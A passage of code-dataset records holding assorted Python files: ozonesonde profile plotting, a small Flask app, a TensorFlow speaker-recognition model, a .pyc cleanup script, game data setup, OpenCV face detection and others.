profSP1010.drop_duplicates(['Sim', 'Team'])\nprofSP1001_nodup = profSP1001.drop_duplicates(['Sim', 'Team'])\ntotO3_SP1010 = profSP1010_nodup.frac.mean()\ntotO3_SP1001 = profSP1001_nodup.frac.mean()\n\n\navgprofEN0505_X, avgprofEN0505_Xerr, Y = Calc_average_profile(profEN0505,resol,'ADif_PO3S')\navgprofEN0505_O3S_X, avgprofEN0505_O3S_Xerr, Y = Calc_average_profile(profEN0505,resol,'PO3')\navgprofEN0505_OPM_X, avgprofEN0505_OPM_Xerr, Y = Calc_average_profile(profEN0505,resol,'PO3_OPM')\nrEN0505, rEN0505err = Calc_RDif(avgprofEN0505_O3S_X, avgprofEN0505_OPM_X, avgprofEN0505_Xerr, dimension )\n\navgprofEN1001_X, avgprofEN1001_Xerr, Y = Calc_average_profile(profEN1001,resol,'ADif_PO3S')\navgprofEN1001_O3S_X, avgprofEN1001_O3S_Xerr, Y = Calc_average_profile(profEN1001,resol,'PO3')\navgprofEN1001_OPM_X, avgprofEN1001_OPM_Xerr, Y = Calc_average_profile(profEN1001,resol,'PO3_OPM')\nrEN1001, rEN1001err = Calc_RDif(avgprofEN1001_O3S_X, avgprofEN1001_OPM_X, avgprofEN1001_Xerr, dimension )\n\navgprofSP1001_X, avgprofSP1001_Xerr, Y = Calc_average_profile(profSP1001,resol,'ADif_PO3S')\navgprofSP1001_O3S_X, avgprofSP1001_O3S_Xerr, Y = Calc_average_profile(profSP1001,resol,'PO3')\navgprofSP1001_OPM_X, avgprofSP1001_OPM_Xerr, Y = Calc_average_profile(profSP1001,resol,'PO3_OPM')\nrSP1001, rSP1001err = Calc_RDif(avgprofSP1001_O3S_X, avgprofSP1001_OPM_X, avgprofSP1001_Xerr, dimension )\n\navgprofSP1010_X, avgprofSP1010_Xerr, Y = Calc_average_profile(profSP1010,resol,'ADif_PO3S')\navgprofSP1010_O3S_X, avgprofSP1010_O3S_Xerr, Y = Calc_average_profile(profSP1010,resol,'PO3')\navgprofSP1010_OPM_X, avgprofSP1010_OPM_Xerr, Y = Calc_average_profile(profSP1010,resol,'PO3_OPM')\nrSP1010, rSP1010err = Calc_RDif(avgprofSP1010_O3S_X, avgprofSP1010_OPM_X, avgprofSP1010_Xerr, dimension )\n\n\nPlot_compare_4profile_plots_updated(\n avgprofEN0505_X, avgprofEN0505_Xerr, avgprofEN1001_X, avgprofEN1001_Xerr, avgprofSP1010_X, avgprofSP1010_Xerr,\n avgprofSP1001_X, avgprofSP1001_Xerr, Y, [-3,3],' ', 'Sonde - OPM Difference (mPa)', ytitle, 'EN 0.5%-0.5B',\n 'EN 1.0%-0.1B', 'SP 1.0%-1.0B', 'SP 1.0%-0.1B', totO3_EN0505, totO3_EN1001, totO3_SP1010, totO3_SP1001,\n profEN0505.drop_duplicates(['Sim', 'Team']) , profEN1001.drop_duplicates(['Sim', 'Team']), profSP1010_nodup,\n profSP1001_nodup, 'ADif_Pair_NoCorrection')\n\nPlot_compare_4profile_plots_updated(\n rEN0505, rEN0505err, rEN1001, rEN1001err, rSP1001, rSP1001err ,rSP1010, rSP1010err , Y, [-40,40],' ',\n 'Sonde - OPM Difference (%)',\n ytitle, 'EN 0.5%-0.5B', 'EN 1.0%-0.1B', 'SP 1.0%-1.0B', 'SP 1.0%-0.1B', totO3_EN0505, totO3_EN1001, totO3_SP1010,\n totO3_SP1001,\n profEN0505.drop_duplicates(['Sim', 'Team']) , profEN1001.drop_duplicates(['Sim', 'Team']), profSP1010_nodup,\n profSP1001_nodup, 'RDif_Pair_NoCorrection')\n","sub_path":"Josie17_SondeComparison.py","file_name":"Josie17_SondeComparison.py","file_ext":"py","file_size_in_byte":5256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"491214227","text":" # -*- coding: utf-8 -*- \nfrom flask import Flask, render_template, request, escape\n\napp = Flask(__name__)\n\n@app.route('/')\n@app.route('/entry')\ndef entry_page() -> 'html':\n \"\"\"Display this webapp's HTML form.\"\"\"\n return render_template('entry.html',\n the_title='欢迎来到网上查询历史上的今天!')\n\n@app.route('/choose_a_day', methods=['POST'])\ndef do_search() -> 'html':\n \"\"\"提取用户web 请求POST方法提交的数据(输入),不执行任何动作(处理),直接返回(输出)。\"\"\"\n today_monthday = request.form['today_monthday']\n return render_template('results.html',\n the_title = '以下是历史上的今天:',\n history_monthday = today_monthday)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"Today_On_History_4web.py","file_name":"Today_On_History_4web.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"419684907","text":"class punto:\n def __init__(self, x,y):\n self.x = x\n self.y = y\n \nclass dosPuntos:\n dist = 0\n def __init__(self,p1,p2):\n self.p1 = p1\n self.p2 = p2\n \n def distancia(self):\n import math\n x = self.p2.x - self.p1.x\n y = self.p2.y - self.p1.y\n p = punto(x,y)\n return math.sqrt(((p.x**2)+(p.y**2)))\n \n def getDistancia(self):\n return self.dist\n\n\na = punto(1,1)\nb = punto(2,2)\n\npuntos = dosPuntos(a,b)\nprint(puntos.distancia())\n\n","sub_path":"2019-uni/pruebas.py","file_name":"pruebas.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"165716997","text":"import BigWorld\nfrom PostProcessing.RenderTargets import *\nfrom PostProcessing import Effect\nfrom PostProcessing.Phases import *\nfrom PostProcessing.Effects import implementEffectFactory\n\n\n@implementEffectFactory( \"Player fader\", \"Fade out the player when they get too close to the camera.\" )\ndef playerFader():\n\t'''This method creates and returns a post-process effect that fades\n\tout the player when they get too close to the camera.\n\tThis effect only works in the client, as there is no player in the tools.'''\n\t\n\tbackBufferCopy = rt(\"backBufferCopy\")\n\t\n\te = Effect()\n\te.name = \"Player Fader\"\n\t\n\ttry:\n\t\tfrom _PostProcessing import PlayerFader\n\t\tp = PlayerFader()\n\texcept:\n\t\tp = None\n\t\t\n\tif p is not None:\n\t\tc = buildBackBufferCopyPhase(backBufferCopy)\n\n\t\tp.renderTarget = backBufferCopy\t#draw player over the offscreen bb\n\t\tp.clearRenderTarget = False\n\t\tp.name = \"Player Fader\"\n\n\t\tt = buildTransferPhase( backBufferCopy.texture, BW_BLEND_SRCALPHA, BW_BLEND_INVSRCALPHA )\n\t\tt.material.alphaOverdrive = 255.0\n\t\tt.material.alpha = p.opacity\n\t\tt.material.alphaTestEnable = True\n\t\tt.material.alphaReference = 1\t\t\n\n\t\te.bypass = p.opacity\n\t\te.phases = [c,p,t]\n\telse:\n\t\te.phases = []\n\t\n\treturn e\n\n\n#PlayerFader effects placed in the WorldEditor end up being saved as an\n#empty effect, since the PlayerFader phase is not linked into the tools\n#(see above factory method). So we need to listen at pre-chain change\n#level and instantiate the correct phases where appropriate.\ndef instantiatePlayerFader(ch):\n\tif ch != None:\n\t\tfor e in ch:\n\t\t\tif e.name == \"Player Fader\":\n\t\t\t\tpf = playerFader()\n\t\t\t\te.phases = pf.phases\n\t\t\t\te.bypass = pf.bypass\n\treturn True\n\nfrom PostProcessing import preChainListeners\npreChainListeners.append( instantiatePlayerFader )","sub_path":"bw/scripts/client/PostProcessing/Effects/PlayerFader.py","file_name":"PlayerFader.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"382995785","text":"import os\n\nimport pytest\n\nfrom manorm import application\n\n\ndef test_manorm(data_dir, tmp_dir):\n peak_file1 = os.path.join(data_dir, 'H1hescH3k4me3Rep1_peaks.xls')\n peak_file2 = os.path.join(data_dir, 'K562H3k4me3Rep1_peaks.xls')\n read_file1 = os.path.join(data_dir, 'H1hescH3k4me3Rep1_reads.bed')\n read_file2 = os.path.join(data_dir, 'K562H3k4me3Rep1_reads.bed')\n shift_size1 = 100\n shift_size2 = 100\n window_size = 2000\n summit_dis = 500\n n_random = 5\n m_cutoff = 1\n p_cutoff = 0.01\n app = application.MAnorm(peak_file1=peak_file1, peak_file2=peak_file2, read_file1=read_file1, read_file2=read_file2,\n peak_format='macs', read_format='bed', name1='H1_H3K4me3', name2='K562_H3K4me3',\n shift_size1=shift_size1, shift_size2=shift_size2, paired=False,\n window_size=window_size, summit_dis=summit_dis, n_random=n_random,\n m_cutoff=m_cutoff, p_cutoff=p_cutoff, write_all=True,\n output_dir=tmp_dir)\n app.run()\n fn1 = os.path.join(data_dir, 'H1_H3K4me3_vs_K562_H3K4me3_all_MAvalues.xls')\n fn2 = os.path.join(tmp_dir, 'H1_H3K4me3_vs_K562_H3K4me3_all_MAvalues.xls')\n with open(fn1, \"r\") as f1, open(fn2, \"r\") as f2:\n lines1 = f1.readlines()\n lines2 = f2.readlines()\n assert len(lines1) == len(lines2)\n for idx, tmp_line1 in enumerate(lines1):\n tmp_line1 = tmp_line1.strip().split('\\t')\n tmp_line2 = lines2[idx].strip().split('\\t')\n if idx == 0:\n assert tmp_line1 == tmp_line2\n else:\n assert tmp_line1[:4] == tmp_line2[:4]\n assert float(tmp_line1[4]) == pytest.approx(float(tmp_line2[4]), abs=1e-5)\n assert float(tmp_line1[5]) == pytest.approx(float(tmp_line2[5]), abs=1e-5)\n assert float(tmp_line1[6]) == pytest.approx(float(tmp_line2[6]), abs=1e-5)\n assert tmp_line1[7] == tmp_line2[7]\n assert float(tmp_line1[8]) == pytest.approx(float(tmp_line2[8]), abs=1e-5)\n assert float(tmp_line1[9]) == pytest.approx(float(tmp_line2[9]), abs=1e-5)\n","sub_path":"tests/test_manorm.py","file_name":"test_manorm.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"565702965","text":"def palindrome(str):\n str2 = str.lower()\n str2 = str2.replace(\" \", \"\")\n str = str.replace(\" \", \"\")\n if str.lower() == str2[::-1]:\n # print \"True\"\n return True\n else:\n return False\n\n\ndef main():\n sentence = str(input(\"Please input a string\\n\"))\n x = palindrome(sentence)\n return\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"palindrome/palindrome_module.py","file_name":"palindrome_module.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"168214569","text":"import tensorflow as tf\nimport sys\nsys.path.append(\"..\")\nfrom scipy.spatial.distance import cosine\nimport os\nimport time\nimport config\nimport numpy as np\n\nclass DataManage(object):\n def __init__(self, raw_frames, raw_labels, batch_size):\n assert len(raw_frames) == len(raw_labels)\n # must be one-hot encoding\n self.raw_frames = np.array(raw_frames, dtype=np.float32)\n self.raw_labels = np.array(raw_labels, dtype=np.float32)\n self.batch_size = batch_size\n self.epoch_size = len(raw_frames) / batch_size\n self.batch_counter = 0\n self.is_eof = False\n self.spkr_num = np.array(self.raw_labels).shape[-1]\n\n @property\n def next_batch(self):\n if (self.batch_counter+1) * self.batch_size < len(self.raw_frames):\n batch_frames = self.raw_frames[self.batch_counter * self.batch_size:\n (self.batch_counter+1) * self.batch_size]\n batch_labels = self.raw_labels[self.batch_counter * self.batch_size:\n (self.batch_counter+1) * self.batch_size]\n self.batch_counter += 1\n return batch_frames, batch_labels\n else:\n self.is_eof = True\n return self.raw_frames[self.batch_counter * self.batch_size:-1], \\\n self.raw_labels[self.batch_counter * self.batch_size:-1]\n\nclass DataManage4BigData(object):\n \"\"\"\n Use this for huge dataset\n \"\"\"\n def __init__(self, url):\n self.url = url\n self.batch_count = 0\n if os.path.exists(self.url) and os.listdir(self.url):\n self.file_is_exist = True\n else:\n self.file_is_exist = False\n\n def write_file(self, raw_frames, raw_labels):\n batch_size = config.BATCH_SIZE\n local_batch_count = 0\n if type(raw_frames) == np.ndarray:\n data_length = raw_frames.shape[0]\n else:\n data_length = len(raw_frames)\n while local_batch_count * batch_size < data_length:\n if local_batch_count * (batch_size+1) >= data_length:\n frames = raw_frames[local_batch_count * batch_size:]\n labels = raw_labels[local_batch_count * batch_size:]\n np.savez_compressed(os.path.join(self.url, \"data_%d.npz\"%local_batch_count), frames=frames, labels=labels) \n else:\n frames = raw_frames[local_batch_count * batch_size: (local_batch_count+1) * batch_size]\n labels = raw_labels[local_batch_count * batch_size: (local_batch_count+1) * batch_size]\n np.savez_compressed(os.path.join(self.url, \"data_%d.npz\"%local_batch_count), frames=frames, labels=labels) \n local_batch_count += 1\n\n @property\n def next_batch(self):\n if not self.file_is_exist:\n print('You need write file before load it.')\n exit()\n loaded = np.load(os.path.join(self.url, \"data_%d.npz\"%self.batch_count))\n frames = loaded['frames']\n labels = loaded['labels']\n self.batch_count += 1\n return frames, labels\n \nclass Model(object):\n def __init__(self):\n\n # import setting from ../config.py\n self.batch_size = config.BATCH_SIZE\n self.n_gpu = config.N_GPU\n self.name = config.MODEL_NAME\n self.n_speaker = config.N_SPEAKER\n self.max_step = config.MAX_STEP\n self.is_big_dataset = config.IS_BIG_DATASET\n if self.is_big_dataset:\n self.url_of_big_dataset = config.URL_OF_BIG_DATASET\n self.lr = config.LR\n self.save_path = config.SAVE_PATH\n \n @property\n def loss(self):\n return self._loss\n\n @property\n def prediction(self):\n return self._prediction\n\n @property\n def feature(self):\n return self._feature\n\n def build_pred_graph(self):\n pred_frames = tf.placeholder(tf.float32, shape=[None, 9, 40, 1], name='pred_x')\n frames = pred_frames\n _, self._feature = self.inference(frames) \n\n def build_train_graph(self):\n self.gpu_ind = tf.get_variable(name='gpu_ind', trainable=False \n ,shape=[],dtype=tf.int32, initializer=tf.constant_initializer(value=0, dtype=tf.int32))\n frames = tf.placeholder(tf.float32, shape=[self.n_gpu, self.batch_size, 64], name='x')\n labels = tf.placeholder(tf.float32, shape=[self.n_gpu, self.batch_size, self.n_speaker], name='y_')\n out = self.inference(frames)\n out_softmax, feature = tf.nn.softmax(out)\n self._feature = feature\n self._prediction = out_softmax\n self._loss = tf.negative(tf.reduce_mean(labels * tf.log(out_softmax)))\n self.opt = tf.train.AdamOptimizer(self.lr)\n self.opt.minimize(self._loss)\n self.saver = tf.train.Saver()\n\n def inference(self, frames):\n conv_1 = self.conv2d(frames, name='Conv1',shape=[7, 7, 1, 128], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_1 = self.max_feature_map(conv_1)\n pool_1 = tf.nn.max_pool(mfm_1, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')\n \n conv_2_a = self.conv2d(pool_1, 'Conv2_a', shape=[1, 1, 64, 128], \n strides= [1, 1, 1, 1], padding='VALID')\n mfm_2_a = self.max_feature_map(conv_2_a)\n conv_2_b = self.conv2d(mfm_2_a, 'Conv2_b', shape=[5, 5, 64, 192], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_2_b = self.max_feature_map(conv_2_b)\n pool_2 = tf.nn.max_pool(mfm_2_b, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')\n \n conv_3_a = self.conv2d(pool_2, 'Conv3_a', shape=[1, 1, 96, 192], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_3_a = self.max_feature_map(conv_3_a)\n conv_3_b = self.conv2d(mfm_3_a, 'Conv3_b', shape=[5, 5, 96, 256], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_3_b = self.max_feature_map(conv_3_b)\n pool_3 = tf.nn.max_pool(mfm_3_b, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')\n \n conv_4_a = self.conv2d(pool_3, 'Conv4_a', shape=[1, 1, 128, 256], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_4_a = self.max_feature_map(conv_4_a)\n conv_4_b = self.conv2d(mfm_4_a, 'Conv4_b', shape=[3, 3, 128, 128], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_4_b = self.max_feature_map(conv_4_b)\n #\n\n conv_5_a = self.conv2d(mfm_4_b, 'Conv5_a', shape=[1, 1, 64, 128], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_5_a = self.max_feature_map(conv_5_a)\n conv_5_b = self.conv2d(mfm_5_a, 'Conv5_b', shape=[3, 3, 64, 128], \n strides=[1, 1, 1, 1], padding='VALID')\n mfm_5_b = self.max_feature_map(conv_2_b)\n pool_5 = tf.nn.max_pool(mfm_5_b, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')\n \n pool_5_flat = tf.reshape(pool_5, [-1,\n pool_5.get_shape().as_list()[1] *\n pool_5.get_shape().as_list()[2] *\n pool_5.get_shape().as_list()[3]])\n fc_1 = self.full_connect(pool_5_flat, name='fc_1', units=2048)\n mfm_6 = self.max_feature_map(fc_1, netType='fc')\n \n out = self.full_connect(mfm_6, name='out', units=self.n_speaker)\n return out, mfm_6\n\n def max_feature_map(self, x, netType='conv', name='activation'):\n if netType == 'fc': \n x0, x1 = tf.split(x, num_or_size_splits = 2, axis = 1)\n y = tf.maximum(x0, x1)\n elif netType == 'conv':\n x0, x1 = tf.split(x, num_or_size_splits = 2, axis = 3) # split along the channel dimension\n y = tf.maximum(x0, x1)\n return y\n\n def t_dnn(self, x, shape, strides, name):\n with tf.name_scope(name):\n weights = self.weights_variable(shape)\n return tf.nn.conv1d(x, weights, stride=strides, padding='SAME', name=name+\"_output\")\n\n def conv2d(self, x, name, shape, strides, padding='SAME'):\n with tf.name_scope(name):\n weights = self.weights_variable(shape)\n biases = self.bias_variable(shape[-1])\n return tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x, weights,\n strides=strides, padding=padding), biases, name=name+\"_output\"))\n\n def full_connect(self, x, name, units):\n with tf.name_scope(name):\n weights = self.weights_variable([x.get_shape().as_list()[-1], units])\n biases = self.bias_variable(units)\n return tf.nn.relu(tf.nn.bias_add(tf.matmul(x, weights), biases), name=name+\"_output\")\n\n @staticmethod\n def weights_variable(shape, name='weights', stddev=0.1):\n initial = tf.truncated_normal(shape, stddev=stddev)\n return tf.Variable(initial, name=name)\n\n @staticmethod\n def bias_variable(shape, name='bias', stddev=0.1):\n initial = tf.truncated_normal([shape], stddev=stddev)\n return tf.Variable(initial, name=name)\n\n @staticmethod\n def average_gradients(tower_grads):\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n grads = []\n for g,_ in grad_and_vars:\n expanded_g = tf.expand_dims(g, 0)\n grads.append(expanded_g)\n grad = tf.concat(axis=0, values=grads)\n grad = tf.reduce_mean(grad, 0)\n v = grad_and_vars[0][1]\n grad_and_var = (grad, v)\n average_grads.append(grad_and_var)\n return average_grads\n\n def train_step(self):\n grads = []\n for i in range(self.n_gpu):\n with tf.device(\"/gpu:%d\" % i):\n self.gpu_ind.assign(i)\n gradient_all = self.opt.compute_gradients(self.loss)\n grads.append(gradient_all)\n with tf.device(\"/cpu:0\"):\n ave_grads = self.average_gradients(grads)\n train_op = self.opt.apply_gradients(ave_grads)\n return train_op\n\n def run(self,\n train_frames, \n train_targets,\n enroll_frames=None,\n enroll_label=None,\n test_frames=None,\n test_label=None,\n need_prediction_now=False):\n \n with tf.Graph().as_default():\n with tf.Session(config=tf.ConfigProto(\n allow_soft_placement=False,\n log_device_placement=False,\n )) as sess:\n if self.is_big_dataset:\n train_data = DataManage4BigData(url = self.url_of_big_dataset)\n if not train_data.file_is_exist:\n train_data.write_file(train_frames, train_targets)\n del train_frames, train_targets\n self.build_train_graph()\n else:\n self.build_train_graph()\n train_data = DataManage(train_frames, train_targets, self.batch_size-1)\n initial = tf.global_variables_initializer()\n sess.run(initial)\n train_op = self.train_step()\n last_time = time.time() \n for i in range(self.max_step):\n input_frames = []\n input_labels = []\n for x in range(self.n_gpu):\n frames, labels = train_data.next_batch\n input_frames.append(frames)\n input_labels.append(labels)\n input_frames = np.array(input_frames).reshape([self.n_gpu, self.batch_size, 9, 40, 1])\n input_labels = np.array(input_labels).reshape([self.n_gpu, self.batch_size, self.n_speaker])\n sess.run(train_op, feed_dict={'x:0':input_frames, 'y_:0':input_labels})\n current_time = time.time()\n print(\"No.%d step use %f sec\"%(i,current_time-last_time))\n last_time = time.time()\n if i % 10 == 0 or i + 1 ==self.max_step:\n self.saver.save(sess, os.path.join(self.save_path,'model'))\n if need_prediction_now:\n self.run_predict(self.save_path, enroll_frames, enroll_label, test_frames, test_label)\n\n def run_predict(self, \n save_path,\n enroll_frames,\n enroll_targets, \n test_frames,\n test_label):\n with tf.Graph().as_default() as graph:\n with tf.Session() as sess:\n self.build_pred_graph()\n new_saver = tf.train.Saver()\n\n # needn't batch and gpu in prediction\n \n enroll_data = DataManage(enroll_frames, enroll_targets, self.batch_size)\n test_data = DataManage(test_frames, test_label, self.batch_size)\n new_saver.restore(sess, tf.train.latest_checkpoint(self.save_path))\n feature_op = graph.get_operation_by_name('feature_layer_output')\n vector_dict = dict()\n while not enroll_data.is_eof:\n frames, labels = enroll_data.next_batch\n frames = np.array(frames).reshape([-1, 9, 40, 1])\n labels = np.array(labels).reshape([-1, self.n_speaker])\n vectors = sess.run(feature_op, feed_dict={'pred_x:0':frames})\n for i in range(len(enroll_targets)):\n if vector_dict[np.argmax(enroll_targets[i])]:\n vector_dict[np.argmax(enroll_targets[i])] += vectors[i]\n vector_dict[np.argmax(enroll_targets[i])] /= 2\n else:\n vector_dict[np.argmax(enroll_targets[i])] = vectors[i]\n while not test_data.is_eof:\n frames, labels = test_data.next_batch\n frames = np.array(frames).reshape([-1, 9, 40, 1])\n labels = np.array(labels).reshape([-1, self.n_speaker])\n vectors = sess.run(feature_op, feed_dict={'pred_x:0':frames})\n keys = vector_dict.keys()\n true_key = test_label\n support = 0\n for i in len(vectors):\n score = 0\n label = -1\n for key in keys:\n if cosine(vectors[i], vector_dict[key]) > score:\n score = cosine(vectors[i], vector_dict[key])\n label = key\n if label == true_key[i]:\n support += 1\n with open(os.path.join(save_path, 'log.txt'), 'w') as f:\n s = \"Acc = %f\"%(support / test_data.raw_frames.shape[0])\n f.writelines(s)\n","sub_path":"DeepCNNextractor/MFM_model.py","file_name":"MFM_model.py","file_ext":"py","file_size_in_byte":14999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"593218615","text":"#!/usr/bin/python\n\nimport os\nimport re\n#import NxFiles\nimport shutil\nimport logging\n\n\n\ndef removeForce(path):\n '''\n Remove give path forcely.\n :param path:\n :return:\n '''\n if not os.path.exists(path):\n return True\n\n if os.path.isfile(path):\n try:\n os.remove(path)\n return True\n except:\n return False\n elif os.path.isdir(path):\n try:\n shutil.rmtree(path)\n return True\n except:\n return False\n else:\n return False\n\ndef walkRemovePyc(rootPath):\n logging.warning('Starting to remove all the \".pyc\" files recursively from the directory \"' + str(rootPath) + '\" ...')\n pycPattern = re.compile(r'.*\\.pyc$')\n for root, dirs, files in os.walk(rootPath):\n for i in files:\n if pycPattern.match(root+'/'+i):\n if removeForce(root+'/'+i) == True:\n logging.warning('The file \"'+str(root)+'/'+str(i)+'\" has been removed.')\n else:\n logging.warning('Removing file \"' + root + '/' + i + '\" meets error!')\n\ndef delPycFile(includeParent=True):\n originalWorkingPath= os.getcwd()\n scriptPath = os.path.split(os.path.realpath(__file__))[0]\n os.chdir(scriptPath)\n os.chdir('..')\n parrentPath = os.getcwd()\n os.chdir(originalWorkingPath)\n if includeParent:\n walkRemovePyc(parrentPath)\n else:\n walkRemovePyc(scriptPath)\n\n\nif __name__ == '__main__':\n delPycFile()\n\n\n","sub_path":"NxFocus/NxFocus/NxFocusPy/NxViewA/NxFocusPy/NxFocusPy/NxSanfran/NxTools/RemovePyc.py","file_name":"RemovePyc.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"2543535","text":"# -*- coding:utf-8 -*-\n\"\"\"\ncreated by server on 14-7-4上午10:32.\n\"\"\"\n\nfrom shared.db_opear.configs_data import game_configs\nfrom shared.utils.pyuuid import get_uuid\nimport random\n\n\ndef init_hero(player):\n # ==========================================\n\n runts = {}\n d = random.sample(range(1, 11), 10)\n\n #runt_nos = game_configs.stone_config.get('stones').keys()\n runt_nos = [150101, 150201, 150301, 150401]\n #for a in xrange(1, 5):\n #type_info = {}\n ## for b in xrange(1, 11):\n #for b in d:\n #temp = None\n #runt_no = None\n #while a != temp:\n #c = random.randint(0, len(runt_nos)-1)\n #runt_no = runt_nos[c]\n #temp = game_configs.stone_config.get(\"stones\").get(runt_no).get(\"type\")\n\n #main_attr, minor_attr = player.runt.get_attr(runt_no)\n #runt_info = [get_uuid(), runt_no, main_attr, minor_attr]\n #type_info[b] = runt_info\n #runts[a] = type_info\n\n # ===============================================\n for k, val in game_configs.hero_config.items():\n if val.type == 0:\n hero1 = player.hero_component.add_hero_without_save(k)\n hero1.hero_no = k\n hero1.level = 1\n hero1.break_level = 0\n hero1.exp = 0\n hero1.save_data()\n heros = [10045, 10046, 10048, 10053, 10056, 10061]\n for no in heros:\n init_single_hero(player, runts, no)\n\n\ndef init_single_hero(player, runts, hero_no):\n hero1 = player.hero_component.get_hero(hero_no)\n hero1.break_level = 7\n hero1.level = 200\n #hero1.runt = runts\n hero1.refine = 400020\n hero1.save_data()\n","sub_path":"test/init_data/mock_heros.py","file_name":"mock_heros.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"53201476","text":"# Copyright Utah State University Research Foundation.\n# All rights reserved except as specified below.\n# This information is protected by a Non-Disclosure/Government Purpose\n# License Agreement and is authorized only for United States Federal\n# Government use.\n# This information may be subject to export control.\n\n\"\"\"Project configuration for setuptools.\"\"\"\n\nimport setuptools\n\nwith open(\"readme.md\", \"r\") as file_:\n LONG_DESCRIPTION = file_.read()\n\nsetuptools.setup(\n name=\"tracking_analysis\",\n version=\"0.0.dev1\",\n author=\"brobeson\",\n author_email=\"brobeson@users.noreply.github.com\",\n description=\"Analyse the results of object tracking experiments.\",\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/brobeson/data-analysis\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: MIT\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\"matplotlib\"],\n python_requires=\">=3\",\n entry_points={\n # pylint: disable=line-too-long\n \"console_scripts\": [\"data-analysis = tracking_analysis.data_analysis:main\"]\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"191226464","text":"k = int(input())\na = list(map(int, input().split()))\na.sort(reverse = True)\n\nresult = 0\nfor i in range(12):\n if k <= 0:\n break\n result += 1\n k -= a[i]\n\nprint(result if k <= 0 else -1)","sub_path":"big-o/Lecture3/BusinessTrip.py","file_name":"BusinessTrip.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"500640923","text":"import cv2\n\n\nclass FeatExtract:\n\n def __init__(self, frame, face_cascade, eyes_cascade):\n self.frame = frame\n self.face_cascade = face_cascade\n self.eyes_cascade = eyes_cascade\n\n\n def detectAndDisplay(self):\n\n frame_gray = cv2.cvtColor(self.frame, cv2.COLOR_BGR2GRAY)\n frame_gray = cv2.equalizeHist(frame_gray)\n #-- Detect faces\n faces = self.face_cascade.detectMultiScale(frame_gray)\n for (x,y,w,h) in faces:\n center = (x + w//2, y + h//2)\n frame = cv2.ellipse(self.frame, center, (w//2, h//2), 0, 0, 360, (255, 0, 255), 4)\n faceROI = frame_gray[y:y+h,x:x+w]\n #-- In each face, detect eyes\n eyes = self.eyes_cascade.detectMultiScale(faceROI)\n for (x2,y2,w2,h2) in eyes:\n eye_center = (x + x2 + w2//2, y + y2 + h2//2)\n radius = int(round((w2 + h2)*0.25))\n frame = cv2.circle(frame, eye_center, radius, (255, 0, 0 ), 4)\n\n cv2.imshow('Capture - Face detection', frame)\n\n\n\n\n ","sub_path":"src/ExtractFeatures.py","file_name":"ExtractFeatures.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"464684304","text":"import cv2\nimport numpy as np\nimg = cv2.imread('cam.jpg')\n\ndef nothing(x):\n pass\n\nclass Point:\n \"\"\" Point class represents and manipulates x,y coords. \"\"\"\n\n def __init__(self):\n \"\"\" Create a new point at the origin \"\"\"\n self.x = 0\n self.y = 0\n\nclass C_Lines:\n \"\"\"A simple example class\"\"\"\n degree=0\n L_Num=0\n L1 = Point()\n L2 = Point()\n LM = Point()\n \n\n# Create a black image, a windowimg = cv2.imread('net.jpg')\n\n\nimg = cv2.imread('cam.jpg')\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nblur = cv2.GaussianBlur(gray,(25,25),0)\nedges = cv2.Canny(blur,50,150,apertureSize = 3)\n\n\n\n#lines = cv2.HoughLines(edges,1,np.pi/180,300)\n#if lines is not None:\n# for rho,theta in lines[0]:\n# a = np.cos(theta)\n# b = np.sin(theta)\n# x0 = a*rho\n# y0 = b*rho\n# x1 = int(x0 + 1000*(-b))\n# y1 = int(y0 + 1000*(a))\n# x2 = int(x0 - 1000*(-b))\n# y2 = int(y0 - 1000*(a))\n\n# cv2.line(blur,(x1,y1),(x2,y2),(0,0,255),2)\n#\n\n\ncv2.namedWindow('image')\n\n# create trackbars for color change\ncv2.createTrackbar('Blur','image',1,30,nothing)\ncv2.createTrackbar('Edges','image',3,10,nothing)\ncv2.createTrackbar('Threshold','image',30,500,nothing)\n\n# create switch for ON/OFF functionality\nswitch = 